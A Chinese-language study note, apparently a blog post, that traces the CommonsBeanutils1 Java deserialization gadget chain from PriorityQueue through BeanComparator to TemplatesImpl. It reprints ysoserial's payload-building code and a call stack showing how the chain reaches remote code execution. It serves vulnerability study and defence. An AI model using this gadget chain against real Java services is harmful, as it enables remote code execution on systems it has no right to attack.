CommonsBeanutils1 反序列化链学习
0 条评论前半段
前半段主要使用的类是 PriorityQueue
看看PriorityQueue的readObject方法
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
进入heapify 方法
跟进
如果 comparator不为空 就进入siftDownUsingComparator方法
跟进
可以看到调用了comprator 的compare方法。
前半段分析结束。
后半段
后半段为漏洞的触发点
org.apache.commons.beanutils.BeanComparator
他继承了Comparator
看一下它的compare方法
如果this.property不为空
就调用
Object value1 = PropertyUtils.getProperty(o1, this.property);
o1 与this.property 都是可以控制的,
而PropertyUtils.getProperty方法的作用是,调用o1中指定的get方法,如果this.property 为data,那么便会调用o1的getdata方法。
从这里来看,与fastjson的调用十分相似,所以fastjson的链在这里都可以被使用。
ysoserial使用的是TemplatesImpl的getOutputProperties方法
进入看一下:
跟进一下TransformerImpl
跟进下getTransletInstance方法
发现
如果_class 为空就加载class
class是根据传入的_bytecodes 生成的
最后生成class后再将其实例化,要知道一个类中static{} 中的内容是可以在实例化的时候被运行的,所以这里等于可以执行任意代码。
构建payload
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
templates = Gadgets.createTemplatesImpl(command)
这个是ysoserial自己的工具类,作用就是生成一个构造好的TemplatesImpl类,command为执行的命令。
再创建一个BeanComparator类
然后创建PriorityQueue,大小为2 比较器为BeanComparator,可能好奇为什么大小为2,因为小于2将不会进入heapify中的siftDown方法
Reflecions.setFieldValue 也是ysoserial中的工具类,作用是反射设置类中的变量,这里将property,设置为outputProperties,目的是调用getOutputProperties,再反射将PriorityQueue的值换位templates。这样,反序列化时便会调用templates的getOutputProperties方法,从而达到RCE的效果
调用栈
getProperty:290, PropertyUtils (org.apache.commons.beanutils)
compare:150, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
总结
1、PriorityQueue 的redeObject 在PriorityQueue大小大于1的情况下会调用Comparator器的compare方法。
2、BeanComparator的compare会调用传入 bean类的指定get方法,bean类为PriorityQueue中的值,方法名为自身变量property的值,可以被直接设置。
3、有get方法可利用的类都可以使用这条链作为载体。ysoserial使用的是TemplatesImpl